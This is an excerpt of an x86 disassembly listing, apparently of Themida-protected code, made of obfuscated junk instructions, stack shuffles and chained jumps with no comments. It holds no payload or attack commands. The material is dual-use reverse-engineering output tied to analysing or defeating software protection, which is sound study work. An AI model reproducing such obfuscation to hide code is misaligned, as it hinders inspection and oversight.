		push	[esp+20h+var_20]
		pop	edx
		add	esp, 4
		push	eax
		mov	ah, 6
		sub	bl, 0B5h
		add	bl, ah
		jmp	loc_58F148
; ---------------------------------------------------------------------------


loc_589EBE:				; CODE XREF: sub_584787+211Ej
		xor	eax, 661A0FB3h
		dec	eax
		sub	eax, 0F2A349B7h
		add	esi, eax
		pop	eax
		pop	ecx
		add	ebx, esi
		jmp	loc_58AF27
; ---------------------------------------------------------------------------


loc_589ED4:				; CODE XREF: sub_584787+1C13j
		push	esp
		mov	ecx, [esp+0]
		add	esp, 4
		push	esi
		push	28346369h
		pop	esi
		shl	esi, 3
		jmp	loc_58959B
; ---------------------------------------------------------------------------


loc_589EED:				; CODE XREF: sub_584787+773j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5858B6
; ---------------------------------------------------------------------------


loc_589EF5:				; CODE XREF: sub_584787+BA60j
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	[esp+0Ch+var_C]
		pop	ecx
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		jmp	loc_59014B
; ---------------------------------------------------------------------------


loc_589F14:				; CODE XREF: sub_584787+828Ej
		mov	esi, 0E47F6C64h
		add	ecx, esi
		pop	esi
		mov	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		add	edi, 2
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		jmp	loc_58A9AB
; ---------------------------------------------------------------------------


loc_589F33:				; CODE XREF: sub_584787+26CAj
		add	eax, edx
		jmp	loc_58AE9F
; ---------------------------------------------------------------------------


loc_589F3A:				; CODE XREF: sub_584787+27A5j
		inc	bl
		dec	bl
		neg	bl
		shl	bl, 1
		xor	bl, 0D1h
		add	al, bl
		pop	ebx
		jmp	loc_58C407
; ---------------------------------------------------------------------------


loc_589F4D:				; CODE XREF: sub_584787+A79Ej
		pop	ecx
		mov	ebx, esi
		pop	esi
		add	ebx, 0ECF3B5B7h
		add	edx, ebx
		pop	ebx
		push	7765h
		mov	[esp+6+var_8+2], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+2+var_4+2]
		jmp	loc_58D499
; ---------------------------------------------------------------------------


loc_589F72:				; CODE XREF: sub_584787+AEEj
		neg	ebp
		not	ebp
		neg	ebp
		jmp	loc_585828
; ---------------------------------------------------------------------------


loc_589F7D:				; CODE XREF: sub_584787+ADAFj
		pop	ebp
		pop	[esp+42h+var_42]
		pop	esp
		push	6D6Ch
		mov	[esp+0], eax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_589F8F:				; CODE XREF: sub_584787+318Dj
		pop	eax
		sub	eax, 2C861353h
		push	[esp+44h+var_46+2]
		mov	ebp, [esp+0]
		add	esp, 4
		add	esp, 4
		shl	eax, cl
		push	ebp
		push	6B39h
		jmp	loc_589B8B
; ---------------------------------------------------------------------------


loc_589FB1:				; CODE XREF: sub_584787+B513j
		sub	edi, edx
		sub	edi, 1BF67C3Ch
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_584554
; ---------------------------------------------------------------------------


loc_589FC2:				; CODE XREF: sub_584787+77C7j
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp+4Ch+var_4E+2]
		jmp	loc_58BC41
; ---------------------------------------------------------------------------


loc_589FE1:				; CODE XREF: sub_584787+6C5Ej
		xor	dl, bl
		jmp	loc_58B0BB
; ---------------------------------------------------------------------------


loc_589FE8:				; CODE XREF: sub_584787-276j
		xor	edi, [esp+0]
		pop	esp
		and	esi, edi
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		not	esi
		sub	esi, 0B62EB4B2h
		xor	eax, esi
		pop	esi
		push	edi
		push	ebx
		jmp	loc_58C6FF
; ---------------------------------------------------------------------------


loc_58A006:				; CODE XREF: sub_584787+9604j
		pop	eax
		jmp	loc_58D3B7
; ---------------------------------------------------------------------------


loc_58A00C:				; CODE XREF: sub_584787+239Ej
		mov	eax, 3FCB4CADh
		neg	eax
		jmp	loc_5852A0
; ---------------------------------------------------------------------------


loc_58A018:				; CODE XREF: sub_584787+6ECDj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A01D:				; CODE XREF: sub_584787+3FAAj
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		inc	[esp+10h+var_10]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A032:				; CODE XREF: sub_584787+8E01j
		sub	edx, edi
		push	eax
		mov	eax, 461F3CBCh
		sub	edx, eax
		pop	eax
		pop	edi
		push	ecx
		mov	ecx, 5BFF2C33h
		inc	ecx
		jmp	loc_584A6E
; ---------------------------------------------------------------------------


loc_58A04A:				; DATA XREF: Themida_:00584410o
		push	dword ptr [edx]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A051:				; CODE XREF: sub_584787+3409j
		push	edx
		mov	edx, esp
		jmp	loc_58FC82
; ---------------------------------------------------------------------------


loc_58A059:				; CODE XREF: sub_584787+B318j
		pop	ebp
		jmp	loc_5873E5
; ---------------------------------------------------------------------------


loc_58A05F:				; CODE XREF: sub_584787+5F05j
		pop	esp
		mov	[esp+16h+var_18+2], ebx
		mov	bh, al
		push	eax
		push	edi
		jmp	loc_58A789
; ---------------------------------------------------------------------------


loc_58A06C:				; CODE XREF: sub_584787+86B5j
		sub	esi, 4
		xchg	esi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		mov	[esp+1Eh+var_20+2], ecx
		jmp	loc_58F8DB
; ---------------------------------------------------------------------------


loc_58A080:				; CODE XREF: sub_584787+2D01j
		pop	eax
		add	esp, 4
		push	ebx
		mov	bh, 66h
		push	dx
		jmp	loc_58F250
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704EBh, 24248B24h, 68241489h, 1461h, 62C68h
		dd 0B7A8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A0B2:				; CODE XREF: sub_584787+1B2Bj
		xor	eax, edi
		jmp	loc_58A17D
; ---------------------------------------------------------------------------


loc_58A0B9:				; CODE XREF: sub_584787+4F52j
		xor	esi, [esp+4Eh+var_4E]
		xor	[esp+4Eh+var_4E], esi
		xor	esi, [esp+4Eh+var_4E]
		mov	esp, [esp+4Eh+var_4E]
		mov	eax, [esp+4Eh+var_4E]
		push	26A5h
		mov	[esp+52h+var_54+2], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		push	6D54h
		mov	[esp+5Ah+var_5C+2], ebp
		mov	ebp, 16C865AAh
		sub	edx, ebp
		jmp	loc_58CBF6
; ---------------------------------------------------------------------------


loc_58A0EC:				; CODE XREF: sub_584787+22F5j
		mov	ebx, [esp+26h+var_26]
		push	esi
		jmp	loc_58D7F0
; ---------------------------------------------------------------------------


loc_58A0F5:				; CODE XREF: sub_584787+3896j
		push	0C7Ah
		mov	[esp+0], ecx
		mov	cl, 0A1h
		push	eax
		jmp	loc_58CAB1
; ---------------------------------------------------------------------------


loc_58A105:				; CODE XREF: sub_584787+A58Aj
		push	edi
		mov	edi, 4
		jmp	loc_5900E1
; ---------------------------------------------------------------------------


loc_58A110:				; CODE XREF: sub_584787+548Cj
		pop	dword ptr [eax]
		add	dword ptr [eax], 7A8D516Bh
		push	[esp+1Ah+var_1C+2]
		jmp	loc_58ABD7
; ---------------------------------------------------------------------------


loc_58A120:				; CODE XREF: sub_584787+8992j
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	edx
		push	[esp+22h+var_20+2]
		pop	edx
		pop	dword ptr [esp+0]
		jmp	loc_58E671
; ---------------------------------------------------------------------------


loc_58A147:				; CODE XREF: sub_584787+A829j
		push	ebp
		mov	ebp, esp
		jmp	sub_59075E
; ---------------------------------------------------------------------------


loc_58A14F:				; DATA XREF: Themida_:00584218o
		mov	ax, [esp+0]
		jmp	loc_58F6C1
; ---------------------------------------------------------------------------


loc_58A158:				; CODE XREF: sub_584787+2B39j
		mov	bh, 6
		sub	bh, 1
		not	bh
		push	small 3732h
		mov	word ptr [esp+4+var_4],	ax
		mov	al, 0C0h
		or	bh, al
		mov	ax, word ptr [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_584A1B
; ---------------------------------------------------------------------------


loc_58A17D:				; CODE XREF: sub_584787+592Dj
		xor	edi, eax
		push	eax
		not	[esp+46h+var_46]
		pop	eax
		xchg	eax, edi
		sub	esp, 4
		mov	[esp+46h+var_46], edi
		push	[esp+46h+var_42]
		pop	edi
		pop	[esp+46h+var_46]
		jmp	loc_588F72
; ---------------------------------------------------------------------------


loc_58A198:				; CODE XREF: sub_584787+2203j
		mov	ecx, ebx
		jmp	loc_589744
; ---------------------------------------------------------------------------


loc_58A19F:				; CODE XREF: sub_5845B8+13Aj
		add	[esp+1Eh+var_20+2], 4
		pop	ebx
		jmp	loc_584C11
; ---------------------------------------------------------------------------


loc_58A1AC:				; DATA XREF: Themida_:005843D0o
		lodsd
		push	edi
		mov	edi, 320F1C09h
		jmp	loc_58C648
; ---------------------------------------------------------------------------


loc_58A1B8:				; CODE XREF: sub_584787+4F0Aj
		sub	edx, 626C253Eh
		jmp	loc_58E43D
; ---------------------------------------------------------------------------


loc_58A1C3:				; CODE XREF: sub_584787+1011j
		mov	[esp+10h+var_10], edi
		push	edx
		mov	edx, 333815EEh
		mov	edi, 2FE21710h
		xor	edi, edx
		mov	edx, [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		push	esp
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_587288
; ---------------------------------------------------------------------------


loc_58A1E5:				; CODE XREF: sub_584787+66B3j
		add	edi, 38604090h
		jmp	loc_59045E
; ---------------------------------------------------------------------------


loc_58A1F0:				; CODE XREF: sub_584787+729j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58DCF8
; ---------------------------------------------------------------------------


loc_58A1FD:				; CODE XREF: sub_584787+B3CFj
		pop	ebp
		push	ecx
		mov	edi, [esp+3Ch+var_3C]
		add	esp, 4
		pop	ecx
		push	eax
		mov	eax, 41540643h
		mov	ecx, eax
		pop	eax
		add	ecx, edi
		mov	edi, [esp+34h+var_34]
		jmp	loc_58AEFF
; ---------------------------------------------------------------------------


loc_58A21C:				; CODE XREF: sub_584787+AF2Aj
		add	ah, 70h
		shl	ah, 3
		add	ah, 52h
		or	cl, ah
		pop	eax
		and	cl, 0C8h
		push	dx
		mov	dh, 46h
		sub	cl, dh
		pop	dx
		jmp	loc_588687
; ---------------------------------------------------------------------------


loc_58A238:				; CODE XREF: sub_584787+63D3j
		pop	edi
		jmp	loc_58FFD9
; ---------------------------------------------------------------------------


loc_58A23E:				; CODE XREF: sub_584787+AA90j
		push	[esp+2Ch+var_2C]
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_58BA3E
; ---------------------------------------------------------------------------


loc_58A255:				; CODE XREF: sub_584787+10A7j
		sub	ebp, 0CFDAF15Ah
		push	ebp
		pop	ebx
		pop	ebp
		shl	ebx, 5
		neg	ebx
		neg	ebx
		push	75E6h
		mov	[esp+1Ch+var_1C], ebx
		not	[esp+1Ch+var_1C]
		pop	ebx
		shr	ebx, 5
		sub	ebx, 0F7A78D81h
		xor	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_58790D
; ---------------------------------------------------------------------------


loc_58A283:				; CODE XREF: sub_584787+6AA6j
		mov	[esp+18h+var_18], esi
		push	741D4561h
		pop	esi
		xchg	ebx, esi
		dec	ebx
		xchg	ebx, esi
		xor	esi, 3B68433Dh
		mov	ecx, esi
		pop	esi
		jmp	loc_585C96
; ---------------------------------------------------------------------------


loc_58A29F:				; CODE XREF: sub_584787+4469j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A2A4:				; CODE XREF: sub_584787+4A94j
		xchg	esi, [esp-14h+arg_E+2]
		pop	esp
		bts	word ptr [esp-18h+arg_12+2], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A2B3:				; DATA XREF: Themida_:00584330o
		push	[esp-14h+arg_E+2]
		jmp	loc_589D81
; ---------------------------------------------------------------------------


loc_58A2BB:				; CODE XREF: sub_584787+3689j
		pop	esi
		jmp	loc_58C060
; ---------------------------------------------------------------------------


loc_58A2C1:				; DATA XREF: Themida_:005841E0o
		lodsd
		push	edi
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 66077182h
		push	ecx
		pop	edi
		push	dword ptr [esp+0]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Ch+var_2C]
		pop	esp
		push	ecx
		mov	ecx, 1FE57EDDh
		sub	ecx, 1FE57EDCh
		sub	edi, ecx
		pop	ecx
		shr	edi, 8
		shl	edi, 8
		add	edi, 0DB73D906h
		add	esi, 247155CAh
		sub	esi, edi
		jmp	loc_58D7DC
; ---------------------------------------------------------------------------


loc_58A30C:				; CODE XREF: sub_584787+91Fj
		push	edx
		mov	dl, 77h
		add	dl, 0E5h
		jmp	loc_586667
; ---------------------------------------------------------------------------


loc_58A317:				; CODE XREF: sub_584787+563Dj
		sub	esp, 4
		mov	[esp+16h+var_18+2], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4C933311h
		inc	edx
		dec	edx
		sub	edx, 40EF74FBh
		jmp	loc_58C9D5
; ---------------------------------------------------------------------------


loc_58A335:				; DATA XREF: Themida_:00584278o
		push	eax
		jmp	loc_587554
; ---------------------------------------------------------------------------


loc_58A33B:				; CODE XREF: sub_584787+9C4j
		pop	edi
		push	edi
		xchg	esi, [esp+30h+var_30]
		not	esi
		xchg	esi, [esp+30h+var_30]
		jmp	loc_588993
; ---------------------------------------------------------------------------


loc_58A34A:				; CODE XREF: sub_584787+9089j
		push	2B6Bh
		jmp	loc_58EE11
; ---------------------------------------------------------------------------


loc_58A354:				; CODE XREF: sub_584787+AD86j
		add	esp, 4
		xor	ebx, [esp+30h+var_30]
		xor	[esp+30h+var_30], ebx
		xor	ebx, [esp+30h+var_30]
		pop	esp
		mov	ax, word ptr [esp+2Ch+var_2C]
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5881AD
; ---------------------------------------------------------------------------


loc_58A37C:				; CODE XREF: sub_584787+8001j
		xor	[esp+34h+var_34], ebx
		xor	ebx, [esp+34h+var_34]
		xor	[esp+34h+var_34], ebx
		push	[esp+34h+var_34]
		pop	eax
		add	esp, 4
		jmp	loc_585C0B
; ---------------------------------------------------------------------------


loc_58A391:				; CODE XREF: sub_584787+448j
		xor	ebx, eax
		jmp	loc_5900AB
; ---------------------------------------------------------------------------


loc_58A398:				; CODE XREF: sub_584787+762Cj
		not	ebx
		not	ebx
		not	ebx
		add	ebx, 8DB1DBCh
		xor	ebp, ebx
		pop	ebx
		sub	ebp, 65F62B68h
		sub	ebp, 9DD6EBB2h
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		movzx	ecx, ax
		push	74E9h
		mov	[esp+4+var_4], ecx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A3CC:				; CODE XREF: sub_584787+9CECj
		mov	edx, [esp+4+var_4]
		jmp	loc_58479C
; ---------------------------------------------------------------------------


loc_58A3D4:				; CODE XREF: sub_584787+BDF3j
		sub	eax, ebx
		sub	eax, 3A8150Ah
		add	eax, 65662318h
		push	ecx
		push	esi
		push	0FF97CF5h
		pop	esi
		jmp	loc_58E967
; ---------------------------------------------------------------------------


loc_58A3ED:				; CODE XREF: sub_584787+89CDj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_58DC9F
; ---------------------------------------------------------------------------


loc_58A3FE:				; CODE XREF: sub_584787+2F67j
		pop	edi
		push	esi
		mov	esi, 37934F6Bh
		xor	esi, 37934F6Fh
		push	ebx
		push	748B05C6h
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_59048C
; ---------------------------------------------------------------------------


loc_58A419:				; CODE XREF: sub_584787+1996j
		mov	ebx, 69AC4FCEh
		inc	ebx
		not	ebx
		jmp	loc_58A73E
; ---------------------------------------------------------------------------


loc_58A426:				; CODE XREF: sub_584787+7B98j
		movzx	cx, al
		push	1594h
		jmp	loc_58AF45
; ---------------------------------------------------------------------------


loc_58A434:				; CODE XREF: sub_584787+2127j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A439:				; CODE XREF: sub_584787+34F5j
		xor	word ptr [esp+40h+var_42+2], ax
		pushf
		jmp	loc_58D686
; ---------------------------------------------------------------------------


loc_58A443:				; DATA XREF: Themida_:00584208o
		mov	cx, word ptr [esp+44h+var_46+2]
		jmp	loc_587039
; ---------------------------------------------------------------------------


loc_58A44C:				; CODE XREF: sub_584787+B355j
		dec	ebx
		jmp	loc_58ABBA
; ---------------------------------------------------------------------------


loc_58A452:				; CODE XREF: sub_584787+4C2Fj
		pop	edi
		jmp	loc_585FC6
; ---------------------------------------------------------------------------


loc_58A458:				; CODE XREF: sub_584787+1707j
		push	ebp
		mov	ebp, 2
		sub	ebx, 7A755C0h
		add	ebx, ebp
		add	ebx, 7A755C0h
		jmp	loc_5866AF
; ---------------------------------------------------------------------------


loc_58A471:				; CODE XREF: sub_584787+AF12j
		mov	[esp+18h+var_18], ebp
		jmp	loc_587B0F
; ---------------------------------------------------------------------------


loc_58A479:				; CODE XREF: sub_584787+6B32j
		or	edi, esi
		jmp	loc_58DD58
; ---------------------------------------------------------------------------


loc_58A480:				; CODE XREF: sub_584787+5480j
		mov	edi, eax
		pop	eax
		push	esi
		jmp	loc_58E70D
; ---------------------------------------------------------------------------


loc_58A489:				; CODE XREF: sub_584787+5340j
		xor	edi, 7CC75550h
		add	edx, edi
		jmp	loc_586558
; ---------------------------------------------------------------------------


loc_58A496:				; CODE XREF: sub_584787+3AA1j
		sub	al, 0A8h
		pop	ebx
		push	ecx
		push	eax
		mov	al, 0F3h
		add	al, 47h
		not	al
		inc	al
		push	ebx
		jmp	loc_58DCEC
; ---------------------------------------------------------------------------


loc_58A4A9:				; DATA XREF: Themida_:005843ECo
		lodsd
		xor	eax, ebx
		push	5959h
		mov	[esp+18h+var_18], ebx
		push	74EED990h
		push	[esp+1Ch+var_1C]
		pop	ebx
		push	0BF2h
		mov	[esp+20h+var_20], edi
		mov	edi, esp
		push	edx
		jmp	loc_584837
; ---------------------------------------------------------------------------


loc_58A4CD:				; CODE XREF: sub_584787+A303j
		mov	edi, ecx
		pop	ecx
		jmp	loc_584725
; ---------------------------------------------------------------------------


loc_58A4D5:				; CODE XREF: sub_584787+B2A0j
		mov	cx, word ptr [esp+20h+var_20]
		add	esp, 2
		push	dx
		push	5EB2h
		mov	[esp+0], eax
		mov	al, 0A2h
		dec	al
		jmp	loc_58E90F
; ---------------------------------------------------------------------------


loc_58A4F2:				; CODE XREF: sub_584787+B5A8j
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_58D606
; ---------------------------------------------------------------------------


loc_58A503:				; CODE XREF: sub_584787+367Cj
		mov	ebp, 3275B48h
		shr	ebp, 6
		jmp	loc_58B6FC
; ---------------------------------------------------------------------------


loc_58A510:				; CODE XREF: sub_584787+941Dj
		push	ebp
		mov	ebp, 6EA27BD7h
		jmp	loc_584EEC
; ---------------------------------------------------------------------------


loc_58A51B:				; CODE XREF: sub_584787+39F9j
		pop	ebx
		jmp	loc_58D04B
; ---------------------------------------------------------------------------


loc_58A521:				; CODE XREF: sub_584787+B3BAj
		push	[esp+44h+var_46+2]
		pop	ebx
		add	esp, 4
		add	ebx, 48EE7A36h
		add	ecx, ebx
		mov	ebx, [esp+40h+var_42+2]
		add	esp, 4
		jmp	loc_584BB4
; ---------------------------------------------------------------------------


loc_58A53E:				; CODE XREF: sub_584787+4FD3j
		mov	esi, 0ABD68DAh
		push	0
		sub	[esp+2Eh+var_30+2], esi
		mov	esi, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_58AD18
; ---------------------------------------------------------------------------


loc_58A556:				; CODE XREF: sub_584787+7306j
		xchg	eax, [esp+2Ah+var_2C+2]
		mov	edx, [esp+2Ah+var_2C+2]
		add	esp, 4
		xor	[esp+26h+var_26], edx
		jmp	loc_588723
; ---------------------------------------------------------------------------


loc_58A56A:				; CODE XREF: sub_584787+3F14j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A56F:				; CODE XREF: sub_584787+BFAEj
		pop	ebx
		pop	eax
		push	cx
		mov	cl, 74h
		add	dh, cl
		jmp	loc_587BA4
; ---------------------------------------------------------------------------


loc_58A57C:				; DATA XREF: Themida_:00584354o
		mov	ax, word ptr [esp+18h+var_18]
		push	edi
		push	0C9Dh
		mov	[esp+20h+var_20], esp
		jmp	loc_58D710
; ---------------------------------------------------------------------------


loc_58A58E:				; CODE XREF: sub_584787+97C1j
		sub	edi, 72BD3029h
		add	edi, 1AE41B3h
		not	edi
		sub	edi, 3F9C6AA6h
		jmp	loc_58E825
; ---------------------------------------------------------------------------


loc_58A5A7:				; CODE XREF: sub_584787+4C35j
		push	140A5EB6h
		pop	ecx
		and	ecx, 23D86E16h
		and	ecx, 3FF80389h
		xor	ecx, 1D7071F5h
		mov	esi, ecx
		pop	ecx
		dec	esi
		push	edi
		mov	edi, 0FFFFFFFFh
		add	esi, edi
		pop	edi
		jmp	loc_58AF1C
; ---------------------------------------------------------------------------


loc_58A5D1:				; CODE XREF: sub_584787+A399j
		pop	edi
		push	ebx
		push	[esp+34h+var_30]
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		pop	[esp+34h+var_34]
		mov	esp, [esp+30h+var_30]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5871B8
; ---------------------------------------------------------------------------


loc_58A5EE:				; CODE XREF: sub_584787+2B62j
		push	eax
		mov	eax, 83D4174h
		mov	ebx, 74FC2142h
		add	ebx, 20B82844h
		sub	ebx, 10012FBEh
		add	ebx, eax
		jmp	loc_58E89E
; ---------------------------------------------------------------------------


loc_58A60C:				; CODE XREF: sub_584787+90BCj
		push	ebp
		jmp	loc_5855BF
; ---------------------------------------------------------------------------


loc_58A612:				; CODE XREF: sub_584787+2DDBj
		add	esp, 4
		xor	ch, dh
		xor	dh, ch
		xor	ch, dh
		push	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], eax
		jmp	loc_588A18
; ---------------------------------------------------------------------------


loc_58A634:				; CODE XREF: sub_584787+507j
		add	esp, 4
		sub	edi, 28504DC5h
		mov	ebp, edi
		pop	edi
		add	esi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58A654:				; CODE XREF: sub_584787+97E5j
		add	eax, ebx
		pop	ebx
		push	3769h
		mov	[esp-8+arg_4], edx
		push	24BEh
		mov	[esp-4+arg_0], esi
		mov	esi, 6E5B096Bh
		jmp	loc_584D21
; ---------------------------------------------------------------------------


loc_58A671:				; CODE XREF: sub_584787+1142j
		mov	ch, 6Eh
		sub	bl, ch
		pop	cx
		sub	bl, 65h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+24h+var_26+2]
		jmp	loc_58A05F
; ---------------------------------------------------------------------------


loc_58A691:				; CODE XREF: sub_584787+6790j
		mov	ecx, 54516A68h
		shl	ecx, 1
		shl	ecx, 2
		sub	ecx, 658E2EA5h
		jmp	loc_58C2A5
; ---------------------------------------------------------------------------


loc_58A6A6:				; CODE XREF: sub_584787+739Aj
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		push	edx
		mov	edx, 1E2C09B2h
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	edx, ecx
		pop	ecx
		dec	edx
		add	edx, 0E1D3F652h
		sub	ebp, 405F3901h
		add	ebp, edx
		jmp	loc_589147
; ---------------------------------------------------------------------------


loc_58A6CF:				; CODE XREF: sub_584787+6511j
		add	edx, esi
		pop	esi
		shr	edx, 6
		jmp	loc_5867D4
; ---------------------------------------------------------------------------


loc_58A6DA:				; CODE XREF: sub_584787+85D9j
		dec	ebp
		add	ebp, 1
		push	edx
		push	esi
		push	edi
		mov	edi, 60F53DC4h
		jmp	loc_58F9EE
; ---------------------------------------------------------------------------


loc_58A6EE:				; CODE XREF: sub_584787+5211j
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_588CE5
; ---------------------------------------------------------------------------


loc_58A6F9:				; CODE XREF: sub_584787+37A3j
		mov	[esp+54h+var_54], edx
		push	dword ptr [esp+4]
		jmp	loc_5905DA
; ---------------------------------------------------------------------------


loc_58A705:				; CODE XREF: sub_584787+7624j
		mov	eax, 3E85121Bh
		sub	ecx, eax
		pop	eax
		and	ecx, 62A23D5Eh
		shl	ecx, 5
		push	esi
		push	edi
		jmp	loc_58F2DC
; ---------------------------------------------------------------------------


loc_58A71D:				; DATA XREF: Themida_:00584214o
		mov	ax, word ptr [esp+5Ch+var_5C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 1ED517A0h
		shl	edi, 2
		add	edi, 6D291915h
		jmp	loc_586879
; ---------------------------------------------------------------------------


loc_58A73E:				; CODE XREF: sub_584787+5C9Aj
		dec	ebx
		shr	ebx, 4
		jmp	loc_5853C6
; ---------------------------------------------------------------------------


loc_58A747:				; CODE XREF: sub_584787+3D19j
		pop	eax
		push	ecx
		push	eax
		mov	al, 0B4h
		sub	al, 0B6h
		jmp	loc_58EA2F
; ---------------------------------------------------------------------------


loc_58A753:				; CODE XREF: sub_584787+9E51j
		add	esp, [edx+38h]
		jmp	loc_58B58B
; ---------------------------------------------------------------------------


loc_58A75B:				; CODE XREF: sub_584787+70F8j
		sub	[esp+arg_0], 2B395AD7h
		jmp	loc_58C808
; ---------------------------------------------------------------------------


loc_58A768:				; CODE XREF: sub_584787+9427j
		xor	ecx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_58BD4C
; ---------------------------------------------------------------------------


loc_58A778:				; CODE XREF: sub_584787+96B1j
		xor	ebx, 65E36CA6h
		sub	ebx, 7126742Dh
		jmp	loc_5846C0
; ---------------------------------------------------------------------------


loc_58A789:				; CODE XREF: sub_584787+58E0j
		mov	edi, 23B80860h
		dec	edi
		neg	edi
		and	edi, 69E11CF7h
		jmp	loc_5858D4
; ---------------------------------------------------------------------------


loc_58A79C:				; CODE XREF: sub_584787+7565j
		mov	ch, bh
		push	ebx
		jmp	loc_58945D
; ---------------------------------------------------------------------------


loc_58A7A4:				; CODE XREF: sub_584787+2CEBj
		push	eax
		push	edx
		mov	edx, 0A3E1564h
		jmp	loc_58CBAF
; ---------------------------------------------------------------------------


loc_58A7B0:				; CODE XREF: sub_584787+3134j
		add	esp, 4
		push	eax
		jmp	loc_58D0FB
; ---------------------------------------------------------------------------


loc_58A7BC:				; CODE XREF: sub_584787+679Bj
		push	esi
		xchg	edi, [esp+4Ch+var_4E+2]
		not	edi
		xchg	edi, [esp+4Ch+var_4E+2]
		pop	esi
		jmp	loc_58FA6B
; ---------------------------------------------------------------------------


loc_58A7CB:				; CODE XREF: sub_584787+B9D6j
		add	ebx, 2E472166h
		jmp	loc_586EDE
; ---------------------------------------------------------------------------


loc_58A7D6:				; CODE XREF: sub_584787+A6DEj
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], edx
		jmp	loc_5903FC
; ---------------------------------------------------------------------------


loc_58A7E1:				; CODE XREF: sub_584787+6C1Aj
		mov	ebx, 9AB213Dh
		shr	ebx, 6
		jmp	loc_5860D3
; ---------------------------------------------------------------------------
word_58A7EE	dw 8B66h		; DATA XREF: Themida_:00584224o
		dd 81522404h, 4ECh, 0C9F4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58A7FE:				; DATA XREF: Themida_:005842BCo
		push	711Bh
		jmp	loc_58BB5C
; ---------------------------------------------------------------------------
		mov	ax, [esp+0]
		sub	esp, 4
		jmp	loc_58A851
; ---------------------------------------------------------------------------


loc_58A814:				; CODE XREF: sub_584787+9D76j
		mov	ebx, [esp+54h+var_54]
		add	esp, 4
		add	al, 0A1h
		push	edx
		mov	dh, 0E6h
		sub	esp, 4
		mov	[esp+58h+var_58], ecx
		jmp	loc_58E483
; ---------------------------------------------------------------------------


loc_58A82D:				; CODE XREF: sub_584787+6FA5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58EB02
; ---------------------------------------------------------------------------


loc_58A841:				; CODE XREF: sub_584787+BF9Ej
		shr	esi, 4
		xor	esi, 3C0FE490h
		add	eax, esi
		jmp	loc_588BC4
; ---------------------------------------------------------------------------


loc_58A851:				; CODE XREF: sub_584787+6088j
		mov	[esp+54h+var_54], edi
		sub	esp, 4
		jmp	loc_58F7CC
; ---------------------------------------------------------------------------


loc_58A85F:				; CODE XREF: sub_584787+4EA3j
		mov	esi, [esp+6+var_8+2]
		add	esp, 4
		push	7AE1h
		mov	[esp+6+var_8+2], edx
		mov	edx, 4CCE7BD9h
		xor	edx, 4CCE7BDDh
